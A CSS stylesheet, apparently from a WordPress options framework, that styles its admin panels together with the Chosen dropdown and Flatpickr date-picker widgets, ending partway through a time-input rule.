.csf--table-compare td {
  font-size: 14px;
  text-align: center;
  vertical-align: middle;
  padding: 10px;
}
.csf--table-compare td:first-child {
  text-align: left;
}
.csf--table-compare tfoot td {
  padding: 15px 0;
}
.csf--table-compare .fa {
  font-size: 18px;
}
.csf--table-compare .fa-check-circle {
  color: #46b450;
}
.csf--table-compare .fa-times-circle {
  color: #dc3232;
}
.csf-welcome-cols {
  clear: both;
  margin: 20px 0;
  background-color: #fff;
  padding: 0 0;
  border-radius: 0;
  border: 1px solid #e5e5e5;
}
.csf-welcome-cols .csf--col {
  width: 33.333%;
  float: left;
  padding: 20px;
  text-align: center;
  box-sizing: border-box;
  min-height: 200px;
  border-right: 1px solid #e5e5e5;
}
.csf-welcome-cols .csf--block,
.csf-welcome-cols .csf--left {
  float: left;
  width: 20%;
  padding: 0 30px;
  text-align: center;
  box-sizing: border-box;
}
.csf-welcome-cols .csf--block {
  width: 80%;
}
.csf-welcome-cols .csf--col-first {
  border-bottom: 1px solid #e5e5e5;
}
.csf-welcome-cols .csf--last {
  border-right: none;
}
.csf-welcome-cols .csf--space {
  height: 20px;
}
.csf-welcome-cols .csf--icon {
  display: inline-block;
  font-size: 20px;
  width: 30px;
  height: 30px;
  line-height: 30px;
  text-align: center;
  margin-bottom: 10px;
  color: #fff;
  background-color: #555;
  border-radius: 30px;
}
.csf-welcome-cols .csf--active {
  background-color: #5cb85c;
}
.csf-welcome-cols .csf--deactive {
  background-color: #e14d43;
}
.csf-welcome-cols .csf--title {
  font-weight: 700;
  display: block;
}
.csf-welcome-cols p:last-child {
  margin-bottom: 0;
}
.csf-features-cols .csf--key-features {
  width: 30%;
}
.csf-features-cols .csf--available-fields {
  width: 70%;
}
.csf-code-block {
  margin: 20px 0;
  padding: 5px 20px;
  background-color: #fff;
  border-radius: 0;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.15);
}
.csf-code-block pre {
  font-size: 13px;
  color: #0073aa;
}
.csf-code-block pre span {
  color: #999;
}
.csf--table-fields td {
  font-size: 14px;
}
.csf--upgrade a {
  color: #5cb85c;
  font-weight: 700;
}
.csf--upgrade a:focus,
.csf--upgrade a:hover {
  color: #4aa14a;
  outline: 0;
  box-shadow: none;
}
@media only screen and (max-width: 782px) {
  .csf-welcome-cols .csf--col {
    width: 100%;
    min-height: auto;
    border-right: none;
    border-bottom: 1px solid #e5e5e5;
  }
  .csf-features-cols .csf--key-features {
    width: 100%;
  }
  .csf-features-cols .csf--available-fields {
    width: 100%;
  }
}
@media only screen and (max-width: 1200px) {
  .csf-metabox .csf-field .csf-title {
    float: none;
    width: 100%;
    margin-bottom: 10px;
  }
  .csf-metabox .csf-field .csf-fieldset {
    float: none;
    width: 100%;
  }
}
@media only screen and (max-width: 782px) {
  .csf-header-inner {
    text-align: center;
  }
  .csf-header-inner h1 {
    width: 100%;
    margin-bottom: 10px;
  }
  .csf-form-result {
    float: none;
    margin-right: 0;
    margin-bottom: 10px;
  }
  .csf-header-left,
  .csf-header-right,
  .csf-search {
    width: 100%;
  }
  .csf-search {
    text-align: center;
    margin-bottom: 15px;
  }
  .csf-footer {
    text-align: center;
  }
  .csf-buttons {
    float: none;
  }
  .csf-copyright {
    float: none;
    margin-top: 10px;
  }
  .csf-expand-all,
  .csf-nav,
  .csf-nav-background,
  .csf-reset-section {
    display: none !important;
  }
  .csf-nav-normal + .csf-content {
    margin-left: 0;
  }
  .csf-section,
  .csf-section-title {
    display: block !important;
  }
  .csf-field .csf-title {
    float: none;
    width: 100%;
    margin-bottom: 10px;
  }
  .csf-field .csf-fieldset {
    float: none;
    width: 100%;
  }
  .csf-field-color .button.wp-picker-clear {
    padding: 0 8px;
    line-height: 2.14285714;
    min-height: 32px;
  }
  .csf-profile-options > .csf-field > .csf-title,
  .csf-taxonomy-edit-fields > .csf-field > .csf-title {
    float: none;
    width: 100%;
    margin-bottom: 10px;
  }
  .csf-profile-options > .csf-field > .csf-fieldset,
  .csf-taxonomy-edit-fields > .csf-field > .csf-fieldset {
    float: none;
    width: 100%;
  }
  .csf-nav-menu-options > .csf-fields {
    margin-left: -10px;
    margin-right: -10px;
  }
  .csf-nav-menu-options > .csf-fields > .csf-field {
    padding: 10px;
  }
}
@media only screen and (max-width: 782px) {
  .csf-modal .csf-modal-inner {
    width: 90%;
  }
}
@media only screen and (max-height: 750px) {
  .csf-modal .csf-modal-inner {
    height: auto;
  }
  .csf-modal .csf-modal-content {
    height: calc(100vh - 200px);
  }
}
.chosen-container {
  position: relative;
  display: inline-block;
  vertical-align: middle;
  font-size: 13px;
  user-select: none;
}
.chosen-container * {
  box-sizing: border-box;
}
.chosen-container .chosen-drop {
  position: absolute;
  top: 100%;
  z-index: 1010;
  width: 100%;
  border: 1px solid #aaa;
  border-top: 0;
  background: #fff;
  box-shadow: 0 4px 5px rgba(0, 0, 0, 0.15);
  clip: rect(0, 0, 0, 0);
  clip-path: inset(100% 100%);
}
.chosen-container.chosen-with-drop .chosen-drop {
  clip: auto;
  clip-path: none;
}
.chosen-container a {
  cursor: pointer;
}
.chosen-container .chosen-single .group-name,
.chosen-container .search-choice .group-name {
  margin-right: 4px;
  overflow: hidden;
  white-space: nowrap;
  text-overflow: ellipsis;
  font-weight: 400;
  color: #999;
}
.chosen-container .chosen-single .group-name:after,
.chosen-container .search-choice .group-name:after {
  content: ":";
  padding-left: 2px;
  vertical-align: top;
}
.chosen-container-single .chosen-single {
  position: relative;
  display: block;
  overflow: hidden;
  padding: 0 0 0 8px;
  height: 25px;
  border: 1px solid #aaa;
  border-radius: 0;
  background-color: #fff;
  background-clip: padding-box;
  color: #444;
  text-decoration: none;
  white-space: nowrap;
  line-height: 24px;
}
.chosen-container-single .chosen-default {
  color: #999;
}
.chosen-container-single .chosen-single span {
  display: block;
  overflow: hidden;
  margin-right: 26px;
  text-overflow: ellipsis;
  white-space: nowrap;
}
.chosen-container-single .chosen-single-with-deselect span {
  margin-right: 38px;
}
.chosen-container-single .chosen-single abbr {
  position: absolute;
  top: 6px;
  right: 26px;
  display: block;
  width: 12px;
  height: 12px;
  font-size: 1px;
}
.chosen-container-single .chosen-single div {
  position: absolute;
  top: 0;
  right: 0;
  display: block;
  width: 18px;
  height: 100%;
}
.chosen-container-single .chosen-single div b {
  display: block;
  width: 100%;
  height: 100%;
}
.chosen-container-single .chosen-search {
  position: relative;
  z-index: 1010;
  margin: 0;
  padding: 3px 4px;
  white-space: nowrap;
}
.chosen-container-single .chosen-search input[type="text"] {
  margin: 1px 0;
  padding: 4px 20px 4px 5px;
  width: 100%;
  height: auto;
  outline: 0;
  border: 1px solid #aaa;
  font-size: 1em;
  font-family: sans-serif;
  line-height: normal;
  border-radius: 0;
}
.chosen-container-single .chosen-drop {
  margin-top: -1px;
  border-radius: 0;
  background-clip: padding-box;
}
.chosen-container-single.chosen-container-single-nosearch .chosen-search {
  position: absolute;
  clip: rect(0, 0, 0, 0);
  clip-path: inset(100% 100%);
}
.chosen-container .chosen-results {
  color: #444;
  position: relative;
  overflow-x: hidden;
  overflow-y: auto;
  margin: 0 4px 4px 0;
  padding: 0 0 0 4px;
  max-height: 240px;
  -webkit-overflow-scrolling: touch;
}
.chosen-container .chosen-results li {
  display: none;
  margin: 0;
  padding: 5px 6px;
  list-style: none;
  line-height: 15px;
  word-wrap: break-word;
  -webkit-touch-callout: none;
}
.chosen-container .chosen-results li.active-result {
  display: list-item;
  cursor: pointer;
}
.chosen-container .chosen-results li.disabled-result {
  display: list-item;
  color: #ccc;
  cursor: default;
}
.chosen-container .chosen-results li.highlighted {
  background-color: #3875d7;
  color: #fff;
}
.chosen-container .chosen-results li.no-results {
  color: #777;
  display: list-item;
  background: #f4f4f4;
}
.chosen-container .chosen-results li.group-result {
  display: list-item;
  font-weight: 700;
  cursor: default;
}
.chosen-container .chosen-results li.group-option {
  padding-left: 15px;
}
.chosen-container .chosen-results li em {
  font-style: normal;
  text-decoration: underline;
}
.chosen-container-multi .chosen-choices {
  position: relative;
  overflow: hidden;
  margin: 0;
  padding: 0 5px;
  width: 100%;
  height: auto;
  border: 1px solid #aaa;
  background-color: #fff;
  cursor: text;
}
.chosen-container-multi .chosen-choices li {
  float: left;
  list-style: none;
}
.chosen-container-multi .chosen-choices li.search-field {
  margin: 0;
  padding: 0;
  white-space: nowrap;
}
.chosen-container-multi .chosen-choices li.search-field input[type="text"] {
  margin: 1px 0;
  padding: 0;
  outline: 0;
  border: 0 !important;
  background: 0 0 !important;
  box-shadow: none;
  color: #999;
  font-size: 100%;
  font-family: sans-serif;
  line-height: normal;
  border-radius: 0;
  width: 25px;
  height: 36px;
  min-height: 36px;
}
.chosen-container-multi .chosen-choices li.search-choice {
  position: relative;
  margin: 3px 5px 3px 0;
  padding: 3px 20px 3px 6px;
  border: 1px solid #aaa;
  max-width: 100%;
  border-radius: 0;
  background-color: #eee;
  background-size: 100% 19px;
  background-repeat: repeat-x;
  background-clip: padding-box;
  box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05);
  color: #333;
  line-height: 13px;
  cursor: default;
}
.chosen-container-multi .chosen-choices li.search-choice span {
  word-wrap: break-word;
  white-space: nowrap;
}
.chosen-container-multi .chosen-choices li.search-choice .search-choice-close {
  position: absolute;
  top: 0;
  right: 0;
  display: block;
  width: 12px;
  height: 12px;
  font-size: 1px;
}
.chosen-container-multi .chosen-choices li.search-choice-disabled {
  padding-right: 5px;
  border: 1px solid #ccc;
  background-color: #e4e4e4;
  color: #666;
}
.chosen-container-multi .chosen-choices li.search-choice-focus {
  background: #d4d4d4;
}
.chosen-container-multi .chosen-results {
  margin: 0;
  padding: 0;
}
.chosen-container-multi .chosen-drop .result-selected {
  display: list-item;
  color: #ccc;
  cursor: default;
}
.chosen-container-active .chosen-single {
  border: 1px solid #5897fb;
  box-shadow: 0 0 5px rgba(0, 0, 0, 0.3);
}
.chosen-container-active.chosen-with-drop .chosen-single {
  border: 1px solid #aaa;
  border-bottom-right-radius: 0;
  border-bottom-left-radius: 0;
  box-shadow: 0 1px 0 #fff inset;
}
.chosen-container-active.chosen-with-drop .chosen-single div {
  border-left: none;
  background: 0 0;
}
.chosen-container-active .chosen-choices {
  border: 1px solid #5897fb;
  box-shadow: 0 0 5px rgba(0, 0, 0, 0.3);
}
.chosen-container-active .chosen-choices li.search-field input[type="text"] {
  color: #222 !important;
}
.chosen-disabled {
  opacity: 0.5 !important;
  cursor: default;
}
.chosen-disabled .chosen-single {
  cursor: default;
}
.chosen-disabled .chosen-choices .search-choice .search-choice-close {
  cursor: default;
}
.chosen-rtl {
  text-align: right;
}
.chosen-rtl .chosen-single {
  overflow: visible;
  padding: 0 8px 0 0;
}
.chosen-rtl .chosen-single span {
  margin-right: 0;
  margin-left: 26px;
  direction: rtl;
}
.chosen-rtl .chosen-single-with-deselect span {
  margin-left: 38px;
}
.chosen-rtl .chosen-single div {
  right: auto;
  left: 3px;
}
.chosen-rtl .chosen-single abbr {
  right: auto;
  left: 26px;
}
.chosen-rtl .chosen-choices li {
  float: right;
}
.chosen-rtl .chosen-choices li.search-field input[type="text"] {
  direction: rtl;
}
.chosen-rtl .chosen-choices li.search-choice {
  margin: 3px 5px 3px 0;
  padding: 3px 5px 3px 19px;
}
.chosen-rtl .chosen-choices li.search-choice .search-choice-close {
  right: auto;
  left: 4px;
}
.chosen-rtl.chosen-container-single .chosen-results {
  margin: 0 0 4px 4px;
  padding: 0 4px 0 0;
}
.chosen-rtl .chosen-results li.group-option {
  padding-right: 15px;
  padding-left: 0;
}
.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div {
  border-right: none;
}
.chosen-rtl .chosen-search input[type="text"] {
  padding: 4px 5px 4px 20px;
  direction: rtl;
}
.flatpickr-calendar {
  background: 0 0;
  opacity: 0;
  display: none;
  text-align: center;
  visibility: hidden;
  padding: 0;
  -webkit-animation: none;
  animation: none;
  direction: ltr;
  border: 0;
  font-size: 14px;
  line-height: 24px;
  border-radius: 0;
  position: absolute;
  width: 307.875px;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  -ms-touch-action: manipulation;
  touch-action: manipulation;
  background: #fff;
  -webkit-box-shadow: 1px 0 0 #e6e6e6, -1px 0 0 #e6e6e6, 0 1px 0 #e6e6e6,
    0 -1px 0 #e6e6e6, 0 3px 13px rgba(0, 0, 0, 0.08);
  box-shadow: 1px 0 0 #e6e6e6, -1px 0 0 #e6e6e6, 0 1px 0 #e6e6e6,
    0 -1px 0 #e6e6e6, 0 3px 13px rgba(0, 0, 0, 0.08);
}
.flatpickr-calendar.inline,
.flatpickr-calendar.open {
  opacity: 1;
  max-height: 640px;
  visibility: visible;
}
.flatpickr-calendar.open {
  display: inline-block;
  z-index: 99999;
}
.flatpickr-calendar.animate.open {
  -webkit-animation: fpFadeInDown 0.3s cubic-bezier(0.23, 1, 0.32, 1);
  animation: fpFadeInDown 0.3s cubic-bezier(0.23, 1, 0.32, 1);
}
.flatpickr-calendar.inline {
  display: block;
  position: relative;
  top: 2px;
}
.flatpickr-calendar.static {
  position: absolute;
  top: calc(100% + 2px);
}
.flatpickr-calendar.static.open {
  z-index: 999;
  display: block;
}
.flatpickr-calendar.multiMonth
  .flatpickr-days
  .dayContainer:nth-child(n + 1)
  .flatpickr-day.inRange:nth-child(7n + 7) {
  -webkit-box-shadow: none !important;
  box-shadow: none !important;
}
.flatpickr-calendar.multiMonth
  .flatpickr-days
  .dayContainer:nth-child(n + 2)
  .flatpickr-day.inRange:nth-child(7n + 1) {
  -webkit-box-shadow: -2px 0 0 #e6e6e6, 5px 0 0 #e6e6e6;
  box-shadow: -2px 0 0 #e6e6e6, 5px 0 0 #e6e6e6;
}
.flatpickr-calendar .hasTime .dayContainer,
.flatpickr-calendar .hasWeeks .dayContainer {
  border-bottom: 0;
  border-bottom-right-radius: 0;
  border-bottom-left-radius: 0;
}
.flatpickr-calendar .hasWeeks .dayContainer {
  border-left: 0;
}
.flatpickr-calendar.hasTime .flatpickr-time {
  height: 40px;
  border-top: 1px solid #e6e6e6;
}
.flatpickr-calendar.noCalendar.hasTime .flatpickr-time {
  height: auto;
}
.flatpickr-calendar:after,
.flatpickr-calendar:before {
  position: absolute;
  display: block;
  pointer-events: none;
  border: solid transparent;
  content: "";
  height: 0;
  width: 0;
  left: 22px;
}
.flatpickr-calendar.arrowRight:after,
.flatpickr-calendar.arrowRight:before,
.flatpickr-calendar.rightMost:after,
.flatpickr-calendar.rightMost:before {
  left: auto;
  right: 22px;
}
.flatpickr-calendar.arrowCenter:after,
.flatpickr-calendar.arrowCenter:before {
  left: 50%;
  right: 50%;
}
.flatpickr-calendar:before {
  border-width: 5px;
  margin: 0 -5px;
}
.flatpickr-calendar:after {
  border-width: 4px;
  margin: 0 -4px;
}
.flatpickr-calendar.arrowTop:after,
.flatpickr-calendar.arrowTop:before {
  bottom: 100%;
}
.flatpickr-calendar.arrowTop:before {
  border-bottom-color: #e6e6e6;
}
.flatpickr-calendar.arrowTop:after {
  border-bottom-color: #fff;
}
.flatpickr-calendar.arrowBottom:after,
.flatpickr-calendar.arrowBottom:before {
  top: 100%;
}
.flatpickr-calendar.arrowBottom:before {
  border-top-color: #e6e6e6;
}
.flatpickr-calendar.arrowBottom:after {
  border-top-color: #fff;
}
.flatpickr-calendar:focus {
  outline: 0;
}
.flatpickr-wrapper {
  position: relative;
  display: inline-block;
}
.flatpickr-months {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}
.flatpickr-months .flatpickr-month {
  background: 0 0;
  color: rgba(0, 0, 0, 0.9);
  fill: rgba(0, 0, 0, 0.9);
  height: 34px;
  line-height: 1;
  text-align: center;
  position: relative;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  overflow: hidden;
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -ms-flex: 1;
  flex: 1;
}
.flatpickr-months .flatpickr-next-month,
.flatpickr-months .flatpickr-prev-month {
  text-decoration: none;
  cursor: pointer;
  position: absolute;
  top: 0;
  height: 34px;
  padding: 10px;
  z-index: 3;
  color: rgba(0, 0, 0, 0.9);
  fill: rgba(0, 0, 0, 0.9);
}
.flatpickr-months .flatpickr-next-month.flatpickr-disabled,
.flatpickr-months .flatpickr-prev-month.flatpickr-disabled {
  display: none;
}
.flatpickr-months .flatpickr-next-month i,
.flatpickr-months .flatpickr-prev-month i {
  position: relative;
}
.flatpickr-months .flatpickr-next-month.flatpickr-prev-month,
.flatpickr-months .flatpickr-prev-month.flatpickr-prev-month {
  left: 0;
}
.flatpickr-months .flatpickr-next-month.flatpickr-next-month,
.flatpickr-months .flatpickr-prev-month.flatpickr-next-month {
  right: 0;
}
.flatpickr-months .flatpickr-next-month:hover,
.flatpickr-months .flatpickr-prev-month:hover {
  color: #959ea9;
}
.flatpickr-months .flatpickr-next-month:hover svg,
.flatpickr-months .flatpickr-prev-month:hover svg {
  fill: #f64747;
}
.flatpickr-months .flatpickr-next-month svg,
.flatpickr-months .flatpickr-prev-month svg {
  width: 14px;
  height: 14px;
}
.flatpickr-months .flatpickr-next-month svg path,
.flatpickr-months .flatpickr-prev-month svg path {
  -webkit-transition: fill 0.1s;
  transition: fill 0.1s;
  fill: inherit;
}
.numInputWrapper {
  position: relative;
  height: auto;
}
.numInputWrapper input,
.numInputWrapper span {
  display: inline-block;
}
.numInputWrapper input {
  width: 100%;
}
.numInputWrapper input::-ms-clear {
  display: none;
}
.numInputWrapper input::-webkit-inner-spin-button,
.numInputWrapper input::-webkit-outer-spin-button {
  margin: 0;
  -webkit-appearance: none;
}
.numInputWrapper span {
  position: absolute;
  right: 0;
  width: 14px;
  padding: 0 4px 0 2px;
  height: 50%;
  line-height: 50%;
  opacity: 0;
  cursor: pointer;
  border: 1px solid rgba(57, 57, 57, 0.15);
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
}
.numInputWrapper span:hover {
  background: rgba(0, 0, 0, 0.1);
}
.numInputWrapper span:active {
  background: rgba(0, 0, 0, 0.2);
}
.numInputWrapper span:after {
  display: block;
  content: "";
  position: absolute;
}
.numInputWrapper span.arrowUp {
  top: 0;
  border-bottom: 0;
}
.numInputWrapper span.arrowUp:after {
  border-left: 4px solid transparent;
  border-right: 4px solid transparent;
  border-bottom: 4px solid rgba(57, 57, 57, 0.6);
  top: 26%;
}
.numInputWrapper span.arrowDown {
  top: 50%;
}
.numInputWrapper span.arrowDown:after {
  border-left: 4px solid transparent;
  border-right: 4px solid transparent;
  border-top: 4px solid rgba(57, 57, 57, 0.6);
  top: 40%;
}
.numInputWrapper span svg {
  width: inherit;
  height: auto;
}
.numInputWrapper span svg path {
  fill: rgba(0, 0, 0, 0.5);
}
.numInputWrapper:hover {
  background: rgba(0, 0, 0, 0.05);
}
.numInputWrapper:hover span {
  opacity: 1;
}
.flatpickr-current-month {
  font-size: 135%;
  line-height: inherit;
  font-weight: 300;
  color: inherit;
  position: absolute;
  width: 75%;
  left: 12.5%;
  padding: 7.48px 0 0 0;
  line-height: 1;
  height: 34px;
  display: inline-block;
  text-align: center;
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
}
.flatpickr-current-month span.cur-month {
  font-family: inherit;
  font-weight: 700;
  color: inherit;
  display: inline-block;
  margin-left: 0.5ch;
  padding: 0;
}
.flatpickr-current-month span.cur-month:hover {
  background: rgba(0, 0, 0, 0.05);
}
.flatpickr-current-month .numInputWrapper {
  width: 6ch;
  display: inline-block;
}
.flatpickr-current-month .numInputWrapper span.arrowUp:after {
  border-bottom-color: rgba(0, 0, 0, 0.9);
}
.flatpickr-current-month .numInputWrapper span.arrowDown:after {
  border-top-color: rgba(0, 0, 0, 0.9);
}
.flatpickr-current-month input.cur-year {
  background: 0 0;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  color: inherit;
  cursor: text;
  padding: 0 0 0 0.5ch;
  margin: 0;
  display: inline-block;
  font-size: inherit;
  font-family: inherit;
  font-weight: 300;
  line-height: inherit;
  height: auto;
  border: 0;
  border-radius: 0;
  vertical-align: initial;
  -webkit-appearance: textfield;
  -moz-appearance: textfield;
  appearance: textfield;
}
.flatpickr-current-month input.cur-year:focus {
  outline: 0;
}
.flatpickr-current-month input.cur-year[disabled],
.flatpickr-current-month input.cur-year[disabled]:hover {
  font-size: 100%;
  color: rgba(0, 0, 0, 0.5);
  background: 0 0;
  pointer-events: none;
}
.flatpickr-current-month .flatpickr-monthDropdown-months {
  appearance: menulist;
  background: 0 0;
  border: none;
  border-radius: 0;
  box-sizing: border-box;
  color: inherit;
  cursor: pointer;
  font-size: inherit;
  font-family: inherit;
  font-weight: 300;
  height: auto;
  line-height: inherit;
  margin: -1px 0 0 0;
  outline: 0;
  padding: 0 0 0 0.5ch;
  position: relative;
  vertical-align: initial;
  -webkit-box-sizing: border-box;
  -webkit-appearance: menulist;
  -moz-appearance: menulist;
  width: auto;
}
.flatpickr-current-month .flatpickr-monthDropdown-months:active,
.flatpickr-current-month .flatpickr-monthDropdown-months:focus {
  outline: 0;
}
.flatpickr-current-month .flatpickr-monthDropdown-months:hover {
  background: rgba(0, 0, 0, 0.05);
}
.flatpickr-current-month
  .flatpickr-monthDropdown-months
  .flatpickr-monthDropdown-month {
  background-color: transparent;
  outline: 0;
  padding: 0;
}
.flatpickr-weekdays {
  background: 0 0;
  text-align: center;
  overflow: hidden;
  width: 100%;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
  height: 28px;
}
.flatpickr-weekdays .flatpickr-weekdaycontainer {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -ms-flex: 1;
  flex: 1;
}
span.flatpickr-weekday {
  cursor: default;
  font-size: 90%;
  background: 0 0;
  color: rgba(0, 0, 0, 0.54);
  line-height: 1;
  margin: 0;
  text-align: center;
  display: block;
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -ms-flex: 1;
  flex: 1;
  font-weight: bolder;
}
.dayContainer,
.flatpickr-weeks {
  padding: 1px 0 0 0;
}
.flatpickr-days {
  position: relative;
  overflow: hidden;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: start;
  -webkit-align-items: flex-start;
  -ms-flex-align: start;
  align-items: flex-start;
  width: 307.875px;
}
.flatpickr-days:focus {
  outline: 0;
}
.dayContainer {
  padding: 0;
  outline: 0;
  text-align: left;
  width: 307.875px;
  min-width: 307.875px;
  max-width: 307.875px;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  display: inline-block;
  display: -ms-flexbox;
  display: -webkit-box;
  display: -webkit-flex;
  display: flex;
  -webkit-flex-wrap: wrap;
  flex-wrap: wrap;
  -ms-flex-wrap: wrap;
  -ms-flex-pack: justify;
  -webkit-justify-content: space-around;
  justify-content: space-around;
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
  opacity: 1;
}
.dayContainer + .dayContainer {
  -webkit-box-shadow: -1px 0 0 #e6e6e6;
  box-shadow: -1px 0 0 #e6e6e6;
}
.flatpickr-day {
  background: 0 0;
  border: 1px solid transparent;
  border-radius: 150px;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  color: #393939;
  cursor: pointer;
  font-weight: 400;
  width: 14.2857143%;
  -webkit-flex-basis: 14.2857143%;
  -ms-flex-preferred-size: 14.2857143%;
  flex-basis: 14.2857143%;
  max-width: 39px;
  height: 39px;
  line-height: 39px;
  margin: 0;
  display: inline-block;
  position: relative;
  -webkit-box-pack: center;
  -webkit-justify-content: center;
  -ms-flex-pack: center;
  justify-content: center;
  text-align: center;
}
.flatpickr-day.inRange,
.flatpickr-day.nextMonthDay.inRange,
.flatpickr-day.nextMonthDay.today.inRange,
.flatpickr-day.nextMonthDay:focus,
.flatpickr-day.nextMonthDay:hover,
.flatpickr-day.prevMonthDay.inRange,
.flatpickr-day.prevMonthDay.today.inRange,
.flatpickr-day.prevMonthDay:focus,
.flatpickr-day.prevMonthDay:hover,
.flatpickr-day.today.inRange,
.flatpickr-day:focus,
.flatpickr-day:hover {
  cursor: pointer;
  outline: 0;
  background: #e6e6e6;
  border-color: #e6e6e6;
}
.flatpickr-day.today {
  border-color: #959ea9;
}
.flatpickr-day.today:focus,
.flatpickr-day.today:hover {
  border-color: #959ea9;
  background: #959ea9;
  color: #fff;
}
.flatpickr-day.endRange,
.flatpickr-day.endRange.inRange,
.flatpickr-day.endRange.nextMonthDay,
.flatpickr-day.endRange.prevMonthDay,
.flatpickr-day.endRange:focus,
.flatpickr-day.endRange:hover,
.flatpickr-day.selected,
.flatpickr-day.selected.inRange,
.flatpickr-day.selected.nextMonthDay,
.flatpickr-day.selected.prevMonthDay,
.flatpickr-day.selected:focus,
.flatpickr-day.selected:hover,
.flatpickr-day.startRange,
.flatpickr-day.startRange.inRange,
.flatpickr-day.startRange.nextMonthDay,
.flatpickr-day.startRange.prevMonthDay,
.flatpickr-day.startRange:focus,
.flatpickr-day.startRange:hover {
  background: #569ff7;
  -webkit-box-shadow: none;
  box-shadow: none;
  color: #fff;
  border-color: #569ff7;
}
.flatpickr-day.endRange.startRange,
.flatpickr-day.selected.startRange,
.flatpickr-day.startRange.startRange {
  border-radius: 50px 0 0 50px;
}
.flatpickr-day.endRange.endRange,
.flatpickr-day.selected.endRange,
.flatpickr-day.startRange.endRange {
  border-radius: 0 50px 50px 0;
}
.flatpickr-day.endRange.startRange + .endRange:not(:nth-child(7n + 1)),
.flatpickr-day.selected.startRange + .endRange:not(:nth-child(7n + 1)),
.flatpickr-day.startRange.startRange + .endRange:not(:nth-child(7n + 1)) {
  -webkit-box-shadow: -10px 0 0 #569ff7;
  box-shadow: -10px 0 0 #569ff7;
}
.flatpickr-day.endRange.startRange.endRange,
.flatpickr-day.selected.startRange.endRange,
.flatpickr-day.startRange.startRange.endRange {
  border-radius: 50px;
}
.flatpickr-day.inRange {
  border-radius: 0;
  -webkit-box-shadow: -5px 0 0 #e6e6e6, 5px 0 0 #e6e6e6;
  box-shadow: -5px 0 0 #e6e6e6, 5px 0 0 #e6e6e6;
}
.flatpickr-day.flatpickr-disabled,
.flatpickr-day.flatpickr-disabled:hover,
.flatpickr-day.nextMonthDay,
.flatpickr-day.notAllowed,
.flatpickr-day.notAllowed.nextMonthDay,
.flatpickr-day.notAllowed.prevMonthDay,
.flatpickr-day.prevMonthDay {
  color: rgba(57, 57, 57, 0.3);
  background: 0 0;
  border-color: transparent;
  cursor: default;
}
.flatpickr-day.flatpickr-disabled,
.flatpickr-day.flatpickr-disabled:hover {
  cursor: not-allowed;
  color: rgba(57, 57, 57, 0.1);
}
.flatpickr-day.week.selected {
  border-radius: 0;
  -webkit-box-shadow: -5px 0 0 #569ff7, 5px 0 0 #569ff7;
  box-shadow: -5px 0 0 #569ff7, 5px 0 0 #569ff7;
}
.flatpickr-day.hidden {
  visibility: hidden;
}
.rangeMode .flatpickr-day {
  margin-top: 1px;
}
.flatpickr-weekwrapper {
  float: left;
}
.flatpickr-weekwrapper .flatpickr-weeks {
  padding: 0 12px;
  -webkit-box-shadow: 1px 0 0 #e6e6e6;
  box-shadow: 1px 0 0 #e6e6e6;
}
.flatpickr-weekwrapper .flatpickr-weekday {
  float: none;
  width: 100%;
  line-height: 28px;
}
.flatpickr-weekwrapper span.flatpickr-day,
.flatpickr-weekwrapper span.flatpickr-day:hover {
  display: block;
  width: 100%;
  max-width: none;
  color: rgba(57, 57, 57, 0.3);
  background: 0 0;
  cursor: default;
  border: none;
}
.flatpickr-innerContainer {
  display: block;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  overflow: hidden;
}
.flatpickr-rContainer {
  display: inline-block;
  padding: 0;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
}
.flatpickr-time {
  text-align: center;
  outline: 0;
  display: block;
  height: 0;
  line-height: 40px;
  max-height: 40px;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  overflow: hidden;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}
.flatpickr-time:after {
  content: "";
  display: table;
  clear: both;
}
.flatpickr-time .numInputWrapper {
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -ms-flex: 1;
  flex: 1;
  width: 40%;
  height: 40px;
  float: left;
}
.flatpickr-time .numInputWrapper span.arrowUp:after {
  border-bottom-color: #393939;
}
.flatpickr-time .numInputWrapper span.arrowDown:after {
  border-top-color: #393939;
}
.flatpickr-time.hasSeconds .numInputWrapper {
  width: 26%;
}
.flatpickr-time.time24hr .numInputWrapper {
  width: 49%;
}
.flatpickr-time input {
  background: 0 0;
  -webkit-box-shadow: none;
  box-shadow: none;
  border: 0;
  border-radius: 0;
  text-align: center;
  margin: 0;
  padding: 0;
  height: inherit;
  line-height: inherit;
  color: #393939;
  font-size: 14px;
  position: relative;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  -webkit-appearance: textfield;
  -moz-appearance: textfield;
  appearance: textfield;
}
.flatpickr-time input.flatpickr-hour {
  font-weight: 700;
}
.flatpickr-time input.flatpickr-minute,
.flatpickr-time input.flatpickr-second {
  font-weight: 400;
}
.flatpickr-time input:focus {
  outline: 0;
  border: 0;
}
.flatpickr-time .flatpickr-am-pm,
.flatpickr-time .flatpickr-time-separator {
  height: inherit;
  float: left;
  line-height: inherit;
  color: #393939;
  font-weight: 700;
  width: 2%;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
